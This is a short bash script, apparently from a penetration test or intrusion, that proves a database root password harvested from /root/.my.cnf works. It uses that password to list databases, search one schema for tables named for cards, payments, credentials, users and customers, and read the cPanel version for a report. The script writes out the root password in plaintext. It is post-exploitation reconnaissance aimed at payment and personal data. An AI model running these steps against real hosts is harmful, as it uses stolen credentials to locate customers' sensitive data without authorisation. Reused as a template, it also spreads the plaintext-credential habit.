#!/bin/bash
echo "===== A: /root/.my.cnf creds over TCP 127.0.0.1 (proof the harvested DB cred is valid)"
mysql -uroot -p'Zz9!NotApplied123' -h 127.0.0.1 -P 3306 -N -e "SELECT CURRENT_USER(), VERSION(); SHOW DATABASES;" 2>&1 | grep -v Warning
echo "===== B: SELECT 1 as read-only validation"
mysql -uroot -p'Zz9!NotApplied123' -h 127.0.0.1 -e "SELECT 1;" 2>&1 | grep -v Warning
echo "===== C: sensitive table inventory (names only, ara_commondb)"
mysql -uroot -N -e "SELECT table_name FROM information_schema.tables WHERE table_schema='ara_commondb' AND (table_name LIKE '%card%' OR table_name LIKE '%pay%' OR table_name LIKE '%cred%' OR table_name LIKE '%user%' OR table_name LIKE '%order%' OR table_name LIKE '%customer%');" 2>&1
echo "===== D: cpanel license / version for report"
cat /usr/local/cpanel/version 2>/dev/null